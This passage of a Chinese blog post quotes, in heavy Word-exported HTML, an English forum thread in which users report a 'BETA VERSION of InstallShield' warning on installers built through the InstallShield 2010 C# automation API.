mso-ascii-font-family: Simsun; mso-hansi-font-family: Simsun; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">在网上找到篇帖子，有人回帖，大意是说编辑、编译该</span><span style="FONT-FAMILY: 'Simsun','serif'; COLOR: black; FONT-SIZE: 13.5pt; mso-bidi-font-size: 11.0pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt; mso-fareast-font-family: 宋体" lang=EN-US>InstallShield</span><span style="FONT-FAMILY: 宋体; COLOR: black; FONT-SIZE: 13.5pt; mso-bidi-font-size: 11.0pt; mso-ascii-font-family: Simsun; mso-hansi-font-family: Simsun; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">工程时，是使用的和安装</span><span style="FONT-FAMILY: 'Simsun','serif'; COLOR: black; FONT-SIZE: 13.5pt; mso-bidi-font-size: 11.0pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt; mso-fareast-font-family: 宋体" lang=EN-US>InstallShield</span><span style="FONT-FAMILY: 宋体; COLOR: black; FONT-SIZE: 13.5pt; mso-bidi-font-size: 11.0pt; mso-ascii-font-family: Simsun; mso-hansi-font-family: Simsun; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">时不同的用户！</span><span style="FONT-FAMILY: 'Simsun','serif'; COLOR: black; FONT-SIZE: 13.5pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt; mso-fareast-font-family: 宋体" lang=EN-US><o:p></o:p></span></p>
<p style="TEXT-ALIGN: left; MARGIN: 0cm 0cm 0pt; BACKGROUND: white; mso-pagination: widow-orphan" class=MsoNormal align=left><span style="FONT-FAMILY: 宋体; COLOR: black; FONT-SIZE: 13.5pt; mso-ascii-font-family: Simsun; mso-hansi-font-family: Simsun; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">附上原帖：</span><span style="FONT-FAMILY: 宋体; FONT-SIZE: 12pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt" lang=EN-US><o:p></o:p></span></p>
<p style="TEXT-ALIGN: left; MARGIN: 0cm 0cm 0pt; BACKGROUND: white; mso-pagination: widow-orphan" class=MsoNormal align=left><span style="FONT-FAMILY: 'Simsun','serif'; COLOR: black; FONT-SIZE: 13.5pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt; mso-fareast-font-family: 宋体" lang=EN-US><a href="http://community.softsummit.com/showthread.php?t=194125"><span style="COLOR: #002c99; TEXT-DECORATION: none; mso-bidi-font-size: 11.0pt; text-underline: none">http://community.softsummit.com/showthread.php?t=194125</span></a><o:p></o:p></span></p>
<div align=center>
<table style="BORDER-BOTTOM: #0b198c 1pt solid; BORDER-LEFT: #0b198c 1pt solid; WIDTH: 100%; BACKGROUND: #d1d1e1; BORDER-TOP: #0b198c 1pt solid; BORDER-RIGHT: #0b198c 1pt solid; mso-cellspacing: .7pt; mso-yfti-tbllook: 1184; mso-padding-alt: 0cm 0cm 0cm 0cm" class=MsoNormalTable border=1 cellSpacing=1 cellPadding=0 width="100%">
    <tbody>
        <tr style="mso-yfti-irow: 0; mso-yfti-firstrow: yes">
            <td style="BORDER-BOTTOM: #0b198c; BORDER-LEFT: #0b198c; PADDING-BOTTOM: 3pt; PADDING-LEFT: 3pt; PADDING-RIGHT: 3pt; BACKGROUND: #5c7099; BORDER-TOP: #0b198c; BORDER-RIGHT: #0b198c; PADDING-TOP: 3pt">
            <p style="TEXT-ALIGN: left; MARGIN: 0cm 0cm 0pt; mso-pagination: widow-orphan" class=MsoNormal align=left><a name=post457478><span style="FONT-FAMILY: 'Tahoma','sans-serif'; COLOR: white; FONT-SIZE: 8.5pt; mso-font-kerning: 0pt; mso-fareast-font-family: 宋体; mso-no-proof: yes" lang=EN-US><v:shapetype id=_x0000_t75 coordsize="21600,21600" o:spt="75" o:preferrelative="t" path="m@4@5l@4@11@9@11@9@5xe" filled="f" stroked="f"><v:stroke joinstyle="miter"></v:stroke><v:formulas><v:f eqn="if lineDrawn pixelLineWidth 0"></v:f><v:f eqn="sum @0 1 0"></v:f><v:f eqn="sum 0 0 @1"></v:f><v:f eqn="prod @2 1 2"></v:f><v:f eqn="prod @3 21600 pixelWidth"></v:f><v:f eqn="prod @3 21600 pixelHeight"></v:f><v:f eqn="sum @0 0 1"></v:f><v:f eqn="prod @6 1 2"></v:f><v:f eqn="prod @7 21600 pixelWidth"></v:f><v:f eqn="sum @8 21600 0"></v:f><v:f eqn="prod @7 21600 pixelHeight"></v:f><v:f eqn="sum @10 21600 0"></v:f></v:formulas><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"></v:path><o:lock v:ext="edit" aspectratio="t"></o:lock></v:shapetype><v:shape style="WIDTH: 7.5pt; HEIGHT: 8.25pt; VISIBILITY: visible; mso-wrap-style: square" id=图片_x0020_1 o:spid="_x0000_i1033" type="#_x0000_t75" alt="Old"><v:imagedata src="file:///C:\Users\hare\AppData\Local\Temp\msohtmlclip1\01\clip_image001.gif" o:title="Old"></v:imagedata></v:shape></span></a><span style="FONT-FAMILY: 'Tahoma','sans-serif'; COLOR: white; FONT-SIZE: 8.5pt; mso-font-kerning: 0pt; mso-fareast-font-family: 宋体" lang=EN-US>&nbsp;07-09-2010, 10:55 AM</span><span style="FONT-FAMILY: 宋体; FONT-SIZE: 12pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt" lang=EN-US><o:p></o:p></span></p>
            </td>
        </tr>
        <tr style="mso-yfti-irow: 1">
            <td style="BORDER-BOTTOM: #0b198c; BORDER-LEFT: #0b198c; PADDING-BOTTOM: 0cm; PADDING-LEFT: 0cm; PADDING-RIGHT: 0cm; BACKGROUND: #e1e4f2; BORDER-TOP: #0b198c; BORDER-RIGHT: #0b198c; PADDING-TOP: 0cm">
            <table style="WIDTH: 100%; mso-cellspacing: 4.5pt; mso-yfti-tbllook: 1184; mso-padding-alt: 0cm 0cm 0cm 0cm" class=MsoNormalTable border=0 cellSpacing=6 cellPadding=0 width="100%">
                <tbody>
                    <tr style="mso-yfti-irow: 0; mso-yfti-firstrow: yes; mso-yfti-lastrow: yes">
                        <td style="BORDER-BOTTOM: #ffffff; BORDER-LEFT: #ffffff; PADDING-BOTTOM: 0cm; BACKGROUND-COLOR: transparent; PADDING-LEFT: 0cm; PADDING-RIGHT: 0cm; BORDER-TOP: #ffffff; BORDER-RIGHT: #ffffff; PADDING-TOP: 0cm" noWrap>
                        <p style="TEXT-ALIGN: left; MARGIN: 0cm 0cm 0pt; mso-pagination: widow-orphan" class=MsoNormal align=left><span style="FONT-FAMILY: 'Verdana','sans-serif'; FONT-SIZE: 10pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt; mso-fareast-font-family: 宋体" lang=EN-US><a href="http://community.softsummit.com/member.php?s=5c55a501e8b7c10fa4941b0e7c46eeb3&amp;u=66009"><span style="COLOR: #0071bc; FONT-SIZE: 14pt; TEXT-DECORATION: none; mso-bidi-font-size: 11.0pt; text-underline: none">dtuazon</span></a>&nbsp;<span style="mso-no-proof: yes"><v:shape style="WIDTH: 11.25pt; HEIGHT: 11.25pt; VISIBILITY: visible; mso-wrap-style: square" id=图片_x0020_2 o:spid="_x0000_i1032" type="#_x0000_t75" alt="dtuazon is offline"> <v:imagedata src="file:///C:\Users\hare\AppData\Local\Temp\msohtmlclip1\01\clip_image002.gif" o:title="dtuazon is offline"></v:imagedata></v:shape></span></span><span style="FONT-FAMILY: 宋体; FONT-SIZE: 12pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt" lang=EN-US><o:p></o:p></span></p>
                        <p style="TEXT-ALIGN: left; MARGIN: 0cm 0cm 0pt; mso-pagination: widow-orphan" class=MsoNormal align=left><span style="FONT-FAMILY: 'Verdana','sans-serif'; FONT-SIZE: 8.5pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt; mso-fareast-font-family: 宋体" lang=EN-US>New User (0 Posts)</span><span style="FONT-FAMILY: 宋体; FONT-SIZE: 12pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt" lang=EN-US><o:p></o:p></span></p>
                        </td>
                        <td style="BORDER-BOTTOM: #ffffff; BORDER-LEFT: #ffffff; PADDING-BOTTOM: 0cm; BACKGROUND-COLOR: transparent; PADDING-LEFT: 0cm; WIDTH: 100%; PADDING-RIGHT: 0cm; BORDER-TOP: #ffffff; BORDER-RIGHT: #ffffff; PADDING-TOP: 0cm" width="100%">
                        <p style="TEXT-ALIGN: left; MARGIN: 0cm 0cm 0pt; mso-pagination: widow-orphan" class=MsoNormal align=left><span style="FONT-FAMILY: 'Verdana','sans-serif'; FONT-SIZE: 10pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt; mso-fareast-font-family: 宋体" lang=EN-US>&nbsp;</span><span style="FONT-FAMILY: 宋体; FONT-SIZE: 12pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt" lang=EN-US><o:p></o:p></span></p>
                        </td>
                        <td style="BORDER-BOTTOM: #ffffff; BORDER-LEFT: #ffffff; PADDING-BOTTOM: 0cm; BACKGROUND-COLOR: transparent; PADDING-LEFT: 0cm; PADDING-RIGHT: 0cm; BORDER-TOP: #ffffff; BORDER-RIGHT: #ffffff; PADDING-TOP: 0cm" vAlign=top noWrap>
                        <p style="TEXT-ALIGN: left; MARGIN: 0cm 0cm 0pt; mso-pagination: widow-orphan" class=MsoNormal align=left><span style="FONT-FAMILY: 'Verdana','sans-serif'; FONT-SIZE: 8.5pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt; mso-fareast-font-family: 宋体" lang=EN-US>Join Date: Jul 2010</span><span style="FONT-FAMILY: 宋体; FONT-SIZE: 12pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt" lang=EN-US><o:p></o:p></span></p>
                        <p style="TEXT-ALIGN: left; MARGIN: 0cm 0cm 0pt; mso-pagination: widow-orphan" class=MsoNormal align=left><span style="FONT-FAMILY: 'Verdana','sans-serif'; FONT-SIZE: 8.5pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt; mso-fareast-font-family: 宋体" lang=EN-US>Posts: 2</span><span style="FONT-FAMILY: 宋体; FONT-SIZE: 12pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt" lang=EN-US><o:p></o:p></span></p>
                        </td>
                    </tr>
                </tbody>
            </table>
            </td>
        </tr>
        <tr style="mso-yfti-irow: 2">
            <td style="BORDER-BOTTOM: #0b198c; BORDER-LEFT: #0b198c; PADDING-BOTTOM: 4.5pt; PADDING-LEFT: 4.5pt; PADDING-RIGHT: 4.5pt; BACKGROUND: #f5f5ff; BORDER-TOP: #0b198c; BORDER-RIGHT: #0b198c; PADDING-TOP: 4.5pt">
            <p style="TEXT-ALIGN: left; MARGIN: 0cm 0cm 0pt; mso-pagination: widow-orphan" class=MsoNormal align=left><strong><span style="FONT-FAMILY: 'Verdana','sans-serif'; COLOR: black; FONT-SIZE: 8.5pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt; mso-fareast-font-family: 宋体" lang=EN-US>Getting a "This Setup was created with a BETA VERSION of InstallShield"</span></strong><span style="FONT-FAMILY: 宋体; FONT-SIZE: 12pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt" lang=EN-US><o:p></o:p></span></p>
            <div style="TEXT-ALIGN: center; MARGIN: 0cm 0cm 0pt; BACKGROUND: white; mso-pagination: widow-orphan" class=MsoNormal align=center><span style="FONT-FAMILY: 'Verdana','sans-serif'; COLOR: black; FONT-SIZE: 10pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt; mso-fareast-font-family: 宋体" lang=EN-US>
            <hr style="COLOR: #d1d1e1" align=center SIZE=1 width="100%" noShade>
            </span></div>
            <p style="TEXT-ALIGN: left; MARGIN: 0cm 0cm 0pt; mso-pagination: widow-orphan" class=MsoNormal align=left><span style="FONT-FAMILY: 'Verdana','sans-serif'; COLOR: black; FONT-SIZE: 10pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt; mso-fareast-font-family: 宋体" lang=EN-US>I am using InstallShield 2010 using the Automation APIs in C# and when i create an installation I have configured to be a CD-ROM type build, I get instead a single exe installation and when the setup is run the message "This setup was created with a BETA VERSION of InstallShield" can be seen. Has anyone seen this behavior and might have a solution with this. My installshield is registered and activated.</span><span style="FONT-FAMILY: 宋体; FONT-SIZE: 12pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt" lang=EN-US><o:p></o:p></span></p>
            <p style="TEXT-ALIGN: right; MARGIN: 0cm 0cm 0pt; mso-pagination: widow-orphan" class=MsoNormal align=right><span lang=EN-US><a href="http://community.softsummit.com/newreply.php?s=5c55a501e8b7c10fa4941b0e7c46eeb3&amp;do=newreply&amp;p=457478"><span style="FONT-FAMILY: 'Verdana','sans-serif'; COLOR: #0071bc; FONT-SIZE: 10pt; TEXT-DECORATION: none; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt; mso-fareast-font-family: 宋体; text-underline: none; mso-no-proof: yes"><v:shape style="WIDTH: 52.5pt; HEIGHT: 16.5pt; VISIBILITY: visible; mso-wrap-style: square" id=图片_x0020_4 o:spid="_x0000_i1031" type="#_x0000_t75" alt="Reply With Quote" href="http://community.softsummit.com/newreply.php?s=5c55a501e8b7c10fa4941b0e7c46eeb3&amp;do=newreply&amp;p=457478" o:button="t"><v:imagedata src="file:///C:\Users\hare\AppData\Local\Temp\msohtmlclip1\01\clip_image003.gif" o:title="Reply With Quote"></v:imagedata></v:shape></span></a></span><span style="FONT-FAMILY: 宋体; FONT-SIZE: 12pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt" lang=EN-US><o:p></o:p></span></p>
            </td>
        </tr>
        <tr style="mso-yfti-irow: 3">
            <td style="BORDER-BOTTOM: #0b198c; BORDER-LEFT: #0b198c; PADDING-BOTTOM: 3pt; PADDING-LEFT: 3pt; PADDING-RIGHT: 3pt; BACKGROUND: #5c7099; BORDER-TOP: #0b198c; BORDER-RIGHT: #0b198c; PADDING-TOP: 3pt">
            <p style="TEXT-ALIGN: left; MARGIN: 0cm 0cm 0pt; mso-pagination: widow-orphan" class=MsoNormal align=left><span style="FONT-FAMILY: 'Tahoma','sans-serif'; COLOR: white; FONT-SIZE: 8.5pt; mso-font-kerning: 0pt; mso-fareast-font-family: 宋体" lang=EN-US>&nbsp; #<a name=2></a><a href="http://community.softsummit.com/showpost.php?s=5c55a501e8b7c10fa4941b0e7c46eeb3&amp;p=459448&amp;postcount=2" target=new><strong><span style="COLOR: white; TEXT-DECORATION: none; mso-bidi-font-size: 11.0pt; text-underline: none">2</span></strong></a>&nbsp;&nbsp;</span><span style="FONT-FAMILY: 宋体; FONT-SIZE: 12pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt" lang=EN-US><o:p></o:p></span></p>
            <p style="TEXT-ALIGN: left; MARGIN: 0cm 0cm 0pt; mso-pagination: widow-orphan" class=MsoNormal align=left><a name=post459448><span style="FONT-FAMILY: 'Tahoma','sans-serif'; COLOR: white; FONT-SIZE: 8.5pt; mso-font-kerning: 0pt; mso-fareast-font-family: 宋体; mso-no-proof: yes" lang=EN-US><v:shape style="WIDTH: 7.5pt; HEIGHT: 8.25pt; VISIBILITY: visible; mso-wrap-style: square" id=图片_x0020_5 o:spid="_x0000_i1030" type="#_x0000_t75" alt="Old"><v:imagedata src="file:///C:\Users\hare\AppData\Local\Temp\msohtmlclip1\01\clip_image001.gif" o:title="Old"></v:imagedata></v:shape></span></a><span style="FONT-FAMILY: 'Tahoma','sans-serif'; COLOR: white; FONT-SIZE: 8.5pt; mso-font-kerning: 0pt; mso-fareast-font-family: 宋体" lang=EN-US>&nbsp;08-31-2010, 04:55 PM</span><span style="FONT-FAMILY: 宋体; FONT-SIZE: 12pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt" lang=EN-US><o:p></o:p></span></p>
            </td>
        </tr>
        <tr style="mso-yfti-irow: 4">
            <td style="BORDER-BOTTOM: #0b198c; BORDER-LEFT: #0b198c; PADDING-BOTTOM: 0cm; PADDING-LEFT: 0cm; PADDING-RIGHT: 0cm; BACKGROUND: #e1e4f2; BORDER-TOP: #0b198c; BORDER-RIGHT: #0b198c; PADDING-TOP: 0cm">
            <table style="WIDTH: 100%; mso-cellspacing: 4.5pt; mso-yfti-tbllook: 1184; mso-padding-alt: 0cm 0cm 0cm 0cm" class=MsoNormalTable border=0 cellSpacing=6 cellPadding=0 width="100%">
                <tbody>
                    <tr style="mso-yfti-irow: 0; mso-yfti-firstrow: yes; mso-yfti-lastrow: yes">
                        <td style="BORDER-BOTTOM: #ffffff; BORDER-LEFT: #ffffff; PADDING-BOTTOM: 0cm; BACKGROUND-COLOR: transparent; PADDING-LEFT: 0cm; PADDING-RIGHT: 0cm; BORDER-TOP: #ffffff; BORDER-RIGHT: #ffffff; PADDING-TOP: 0cm" noWrap>
                        <p style="TEXT-ALIGN: left; MARGIN: 0cm 0cm 0pt; mso-pagination: widow-orphan" class=MsoNormal align=left><span style="FONT-FAMILY: 'Verdana','sans-serif'; FONT-SIZE: 10pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt; mso-fareast-font-family: 宋体" lang=EN-US><a href="http://community.softsummit.com/member.php?s=5c55a501e8b7c10fa4941b0e7c46eeb3&amp;u=62312"><span style="COLOR: #0071bc; FONT-SIZE: 14pt; TEXT-DECORATION: none; mso-bidi-font-size: 11.0pt; text-underline: none">extremesanity</span></a>&nbsp;<span style="mso-no-proof: yes"><v:shape style="WIDTH: 11.25pt; HEIGHT: 11.25pt; VISIBILITY: visible; mso-wrap-style: square" id=图片_x0020_6 o:spid="_x0000_i1029" type="#_x0000_t75" alt="extremesanity is offline"> <v:imagedata src="file:///C:\Users\hare\AppData\Local\Temp\msohtmlclip1\01\clip_image002.gif" o:title="extremesanity is offline"></v:imagedata></v:shape></span></span><span style="FONT-FAMILY: 宋体; FONT-SIZE: 12pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt" lang=EN-US><o:p></o:p></span></p>
                        <p style="TEXT-ALIGN: left; MARGIN: 0cm 0cm 0pt; mso-pagination: widow-orphan" class=MsoNormal align=left><span style="FONT-FAMILY: 'Verdana','sans-serif'; FONT-SIZE: 8.5pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt; mso-fareast-font-family: 宋体" lang=EN-US>New User (0 Posts)</span><span style="FONT-FAMILY: 宋体; FONT-SIZE: 12pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt" lang=EN-US><o:p></o:p></span></p>
                        </td>
                        <td style="BORDER-BOTTOM: #ffffff; BORDER-LEFT: #ffffff; PADDING-BOTTOM: 0cm; BACKGROUND-COLOR: transparent; PADDING-LEFT: 0cm; WIDTH: 100%; PADDING-RIGHT: 0cm; BORDER-TOP: #ffffff; BORDER-RIGHT: #ffffff; PADDING-TOP: 0cm" width="100%">
                        <p style="TEXT-ALIGN: left; MARGIN: 0cm 0cm 0pt; mso-pagination: widow-orphan" class=MsoNormal align=left><span style="FONT-FAMILY: 'Verdana','sans-serif'; FONT-SIZE: 10pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt; mso-fareast-font-family: 宋体" lang=EN-US>&nbsp;</span><span style="FONT-FAMILY: 宋体; FONT-SIZE: 12pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt" lang=EN-US><o:p></o:p></span></p>
                        </td>
                        <td style="BORDER-BOTTOM: #ffffff; BORDER-LEFT: #ffffff; PADDING-BOTTOM: 0cm; BACKGROUND-COLOR: transparent; PADDING-LEFT: 0cm; PADDING-RIGHT: 0cm; BORDER-TOP: #ffffff; BORDER-RIGHT: #ffffff; PADDING-TOP: 0cm" vAlign=top noWrap>
                        <p style="TEXT-ALIGN: left; MARGIN: 0cm 0cm 0pt; mso-pagination: widow-orphan" class=MsoNormal align=left><span style="FONT-FAMILY: 'Verdana','sans-serif'; FONT-SIZE: 8.5pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt; mso-fareast-font-family: 宋体" lang=EN-US>Join Date: Jan 2010</span><span style="FONT-FAMILY: 宋体; FONT-SIZE: 12pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt" lang=EN-US><o:p></o:p></span></p>
                        <p style="TEXT-ALIGN: left; MARGIN: 0cm 0cm 0pt; mso-pagination: widow-orphan" class=MsoNormal align=left><span style="FONT-FAMILY: 'Verdana','sans-serif'; FONT-SIZE: 8.5pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt; mso-fareast-font-family: 宋体" lang=EN-US>Posts: 3</span><span style="FONT-FAMILY: 宋体; FONT-SIZE: 12pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt" lang=EN-US><o:p></o:p></span></p>
                        </td>
                    </tr>
                </tbody>
            </table>
            </td>
        </tr>
        <tr style="mso-yfti-irow: 5">
            <td style="BORDER-BOTTOM: #0b198c; BORDER-LEFT: #0b198c; PADDING-BOTTOM: 4.5pt; PADDING-LEFT: 4.5pt; PADDING-RIGHT: 4.5pt; BACKGROUND: #f5f5ff; BORDER-TOP: #0b198c; BORDER-RIGHT: #0b198c; PADDING-TOP: 4.5pt">
            <p style="TEXT-ALIGN: left; MARGIN: 0cm 0cm 0pt; mso-pagination: widow-orphan" class=MsoNormal align=left><span style="FONT-FAMILY: 'Verdana','sans-serif'; COLOR: black; FONT-SIZE: 10pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt; mso-fareast-font-family: 宋体" lang=EN-US>I am also having this issue in similar circumstances. I have built at least three dozen packages using this automation layer, and this is dialog is just now showing up.</span><span style="FONT-FAMILY: 宋体; FONT-SIZE: 12pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt" lang=EN-US><o:p></o:p></span></p>
            <p style="TEXT-ALIGN: right; MARGIN: 0cm 0cm 0pt; mso-pagination: widow-orphan" class=MsoNormal align=right><span lang=EN-US><a href="http://community.softsummit.com/newreply.php?s=5c55a501e8b7c10fa4941b0e7c46eeb3&amp;do=newreply&amp;p=459448"><span style="FONT-FAMILY: 'Verdana','sans-serif'; COLOR: #0071bc; FONT-SIZE: 10pt; TEXT-DECORATION: none; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt; mso-fareast-font-family: 宋体; text-underline: none; mso-no-proof: yes"><v:shape style="WIDTH: 52.5pt; HEIGHT: 16.5pt; VISIBILITY: visible; mso-wrap-style: square" id=图片_x0020_7 o:spid="_x0000_i1028" type="#_x0000_t75" alt="Reply With Quote" href="http://community.softsummit.com/newreply.php?s=5c55a501e8b7c10fa4941b0e7c46eeb3&amp;do=newreply&amp;p=459448" o:button="t"><v:imagedata src="file:///C:\Users\hare\AppData\Local\Temp\msohtmlclip1\01\clip_image003.gif" o:title="Reply With Quote"></v:imagedata></v:shape></span></a></span><span style="FONT-FAMILY: 宋体; FONT-SIZE: 12pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt" lang=EN-US><o:p></o:p></span></p>
            </td>
        </tr>
        <tr style="mso-yfti-irow: 6">
            <td style="BORDER-BOTTOM: #0b198c; BORDER-LEFT: #0b198c; PADDING-BOTTOM: 3pt; PADDING-LEFT: 3pt; PADDING-RIGHT: 3pt; BACKGROUND: #5c7099; BORDER-TOP: #0b198c; BORDER-RIGHT: #0b198c; PADDING-TOP: 3pt">
            <p style="TEXT-ALIGN: left; MARGIN: 0cm 0cm 0pt; mso-pagination: widow-orphan" class=MsoNormal align=left><span style="FONT-FAMILY: 'Tahoma','sans-serif'; COLOR: white; FONT-SIZE: 8.5pt; mso-font-kerning: 0pt; mso-fareast-font-family: 宋体" lang=EN-US>&nbsp; #<a name=3></a><a href="http://community.softsummit.com/showpost.php?s=5c55a501e8b7c10fa4941b0e7c46eeb3&amp;p=459449&amp;postcount=3" target=new><strong><span style="COLOR: white; TEXT-DECORATION: none; mso-bidi-font-size: 11.0pt; text-underline: none">3</span></strong></a>&nbsp;&nbsp;</span><span style="FONT-FAMILY: 宋体; FONT-SIZE: 12pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt" lang=EN-US><o:p></o:p></span></p>
            <p style="TEXT-ALIGN: left; MARGIN: 0cm 0cm 0pt; mso-pagination: widow-orphan" class=MsoNormal align=left><a name=post459449><span style="FONT-FAMILY: 'Tahoma','sans-serif'; COLOR: white; FONT-SIZE: 8.5pt; mso-font-kerning: 0pt; mso-fareast-font-family: 宋体; mso-no-proof: yes" lang=EN-US><v:shape style="WIDTH: 7.5pt; HEIGHT: 8.25pt; VISIBILITY: visible; mso-wrap-style: square" id=图片_x0020_8 o:spid="_x0000_i1027" type="#_x0000_t75" alt="Old"><v:imagedata src="file:///C:\Users\hare\AppData\Local\Temp\msohtmlclip1\01\clip_image001.gif" o:title="Old"></v:imagedata></v:shape></span></a><span style="FONT-FAMILY: 'Tahoma','sans-serif'; COLOR: white; FONT-SIZE: 8.5pt; mso-font-kerning: 0pt; mso-fareast-font-family: 宋体" lang=EN-US>&nbsp;08-31-2010, 05:01 PM</span><span style="FONT-FAMILY: 宋体; FONT-SIZE: 12pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt" lang=EN-US><o:p></o:p></span></p>
            </td>
        </tr>
        <tr style="mso-yfti-irow: 7">
            <td style="BORDER-BOTTOM: #0b198c; BORDER-LEFT: #0b198c; PADDING-BOTTOM: 0cm; PADDING-LEFT: 0cm; PADDING-RIGHT: 0cm; BACKGROUND: #e1e4f2; BORDER-TOP: #0b198c; BORDER-RIGHT: #0b198c; PADDING-TOP: 0cm">
            <table style="WIDTH: 100%; mso-cellspacing: 4.5pt; mso-yfti-tbllook: 1184; mso-padding-alt: 0cm 0cm 0cm 0cm" class=MsoNormalTable border=0 cellSpacing=6 cellPadding=0 width="100%">
                <tbody>
                    <tr style="mso-yfti-irow: 0; mso-yfti-firstrow: yes; mso-yfti-lastrow: yes">
                        <td style="BORDER-BOTTOM: #ffffff; BORDER-LEFT: #ffffff; PADDING-BOTTOM: 0cm; BACKGROUND-COLOR: transparent; PADDING-LEFT: 0cm; PADDING-RIGHT: 0cm; BORDER-TOP: #ffffff; BORDER-RIGHT: #ffffff; PADDING-TOP: 0cm" noWrap>
                        <p style="TEXT-ALIGN: left; MARGIN: 0cm 0cm 0pt; mso-pagination: widow-orphan" class=MsoNormal align=left><span style="FONT-FAMILY: 'Verdana','sans-serif'; FONT-SIZE: 10pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt; mso-fareast-font-family: 宋体" lang=EN-US><a href="http://community.softsummit.com/member.php?s=5c55a501e8b7c10fa4941b0e7c46eeb3&amp;u=66009"><span style="COLOR: #0071bc; FONT-SIZE: 14pt; TEXT-DECORATION: none; mso-bidi-font-size: 11.0pt; text-underline: none">dtuazon</span></a>&nbsp;<span style="mso-no-proof: yes"><v:shape style="WIDTH: 11.25pt; HEIGHT: 11.25pt; VISIBILITY: visible; mso-wrap-style: square" id=图片_x0020_9 o:spid="_x0000_i1026" type="#_x0000_t75" alt="dtuazon is offline"> <v:imagedata src="file:///C:\Users\hare\AppData\Local\Temp\msohtmlclip1\01\clip_image002.gif" o:title="dtuazon is offline"></v:imagedata></v:shape></span></span><span style="FONT-FAMILY: 宋体; FONT-SIZE: 12pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt" lang=EN-US><o:p></o:p></span></p>
                        <p style="TEXT-ALIGN: left; MARGIN: 0cm 0cm 0pt; mso-pagination: widow-orphan" class=MsoNormal align=left><span style="FONT-FAMILY: 'Verdana','sans-serif'; FONT-SIZE: 8.5pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt; mso-fareast-font-family: 宋体" lang=EN-US>New User (0 Posts)</span><span style="FONT-FAMILY: 宋体; FONT-SIZE: 12pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt" lang=EN-US><o:p></o:p></span></p>
                        </td>
                        <td style="BORDER-BOTTOM: #ffffff; BORDER-LEFT: #ffffff; PADDING-BOTTOM: 0cm; BACKGROUND-COLOR: transparent; PADDING-LEFT: 0cm; WIDTH: 100%; PADDING-RIGHT: 0cm; BORDER-TOP: #ffffff; BORDER-RIGHT: #ffffff; PADDING-TOP: 0cm" width="100%">
                        <p style="TEXT-ALIGN: left; MARGIN: 0cm 0cm 0pt; mso-pagination: widow-orphan" class=MsoNormal align=left><span style="FONT-FAMILY: 'Verdana','sans-serif'; FONT-SIZE: 10pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt; mso-fareast-font-family: 宋体" lang=EN-US>&nbsp;</span><span style="FONT-FAMILY: 宋体; FONT-SIZE: 12pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt" lang=EN-US><o:p></o:p></span></p>
                        </td>
                        <td style="BORDER-BOTTOM: #ffffff; BORDER-LEFT: #ffffff; PADDING-BOTTOM: 0cm; BACKGROUND-COLOR: transparent; PADDING-LEFT: 0cm; PADDING-RIGHT: 0cm; BORDER-TOP: #ffffff; BORDER-RIGHT: #ffffff; PADDING-TOP: 0cm" vAlign=top noWrap>
                        <p style="TEXT-ALIGN: left; MARGIN: 0cm 0cm 0pt; mso-pagination: widow-orphan" class=MsoNormal align=left><span style="FONT-FAMILY: 'Verdana','sans-serif'; FONT-SIZE: 8.5pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt; mso-fareast-font-family: 宋体" lang=EN-US>Join Date: Jul 2010</span><span style="FONT-FAMILY: 宋体; FONT-SIZE: 12pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt" lang=EN-US><o:p></o:p></span></p>
